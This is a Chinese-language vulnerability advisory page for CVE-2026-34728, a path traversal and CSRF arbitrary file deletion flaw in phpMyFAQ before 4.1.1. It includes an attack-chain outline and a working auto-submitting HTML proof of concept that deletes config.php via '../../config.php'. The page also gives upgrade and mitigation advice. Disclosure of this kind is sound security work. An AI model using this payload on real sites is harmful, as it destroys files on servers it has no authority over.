IPBUF安全漏洞报告
English
CVE-2026-34728 CVSS 8.7 高危

CVE-2026-34728 phpMyFAQ路径遍历致任意文件删除漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34728
漏洞类型
路径遍历、CSRF
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
phpMyFAQ

相关标签

路径遍历CSRF任意文件删除phpMyFAQ高危漏洞

漏洞概述

phpMyFAQ在4.1.1版本之前存在安全漏洞。MediaBrowserController的文件删除功能未正确过滤用户输入,攻击者可利用路径遍历序列(如../)删除任意文件。此外,由于缺少CSRF令牌验证,该漏洞可被利用进行跨站请求伪造攻击。建议用户尽快升级至4.1.1或更高版本以修复此问题。

技术细节

该漏洞主要存在于phpMyFAQ的MediaBrowser组件中。具体来说,当触发fileRemove动作时,后端代码直接处理用户可控的name参数,并将其与预设的上传目录路径进行字符串拼接。虽然开发者试图通过FILTER_SANITIZE_SPECIAL_CHARS进行过滤,但该过滤器仅针对HTML特殊字符(如<, >, &等)进行编码,完全无法阻断路径遍历攻击所需的“../”序列。因此,攻击者可以构造包含“../”的文件名,穿越目录限制,删除Web根目录下的敏感文件(如配置文件、源代码等)。此外,由于该端点缺乏CSRF令牌验证,攻击者可以利用社会工程学手段,诱导管理员访问特制的恶意页面。一旦管理员在已登录状态下访问,浏览器将自动发送恶意删除请求,导致攻击者无需直接获取管理员凭证即可破坏系统完整性及可用性。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统使用的是phpMyFAQ 4.1.1之前的版本。
STEP 2
构建载荷
攻击者构造包含路径遍历字符(如../)的恶意文件名,旨在删除关键系统文件(如config.php)。
STEP 3
投递攻击
攻击者利用CSRF漏洞,制作包含恶意HTML请求的网页,并通过社会工程学手段诱导已登录的管理员点击访问。
STEP 4
执行漏洞
管理员浏览器在后台自动向服务器发送删除文件请求,服务器因未验证CSRF token且过滤不严,执行了删除操作。
STEP 5
达成影响
服务器上的指定文件被删除,导致应用程序无法正常运行或数据丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CSRF Arbitrary File Deletion --> <!-- Attacker hosts this HTML and sends the link to the admin --> <html> <body> <form action="http://target-site/index.php" method="POST"> <input type="hidden" name="action" value="media" /> <input type="hidden" name="ajax" value="fileRemove" /> <!-- Path traversal payload to delete config.php --> <input type="hidden" name="name" value="../../config.php" /> <input type="submit" value="Click me" /> </form> <script> // Auto-submit the form when the page loads document.forms[0].submit(); </script> </body> </html>

影响范围

phpMyFAQ < 4.1.1

防御指南

临时缓解措施
若无法立即升级,建议通过访问控制列表(ACL)限制对媒体管理后台的访问IP,仅允许内网或受信任的IP访问。同时,加强管理员安全意识,避免在登录状态下访问来源不明的链接,防止遭受CSRF攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表